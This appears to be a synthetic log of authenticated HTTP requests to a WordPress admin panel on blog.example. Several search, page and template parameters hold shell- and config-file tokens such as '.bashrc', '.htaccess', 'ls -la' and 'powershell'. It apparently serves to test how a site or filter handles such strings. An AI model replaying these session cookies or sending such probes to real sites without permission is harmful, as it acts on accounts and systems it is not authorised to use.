{"method": "GET", "target": "/wp-admin/upload.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpython3&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251825"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251825"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?postType=wp_template&postId=python3-theme//single&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?canvas=edit&p=/wp_template/python3-theme//single", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Fpowershell-page&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251831"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?postType=wp_template&postId=python3-theme%2F%2Fpowershell-page&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251835"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?canvas=edit&p=/wp_template/python3-theme//powershell-page", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251835"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 30", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"Hello world\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 32", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"Hello world\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 22", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"Hello world\"}"}
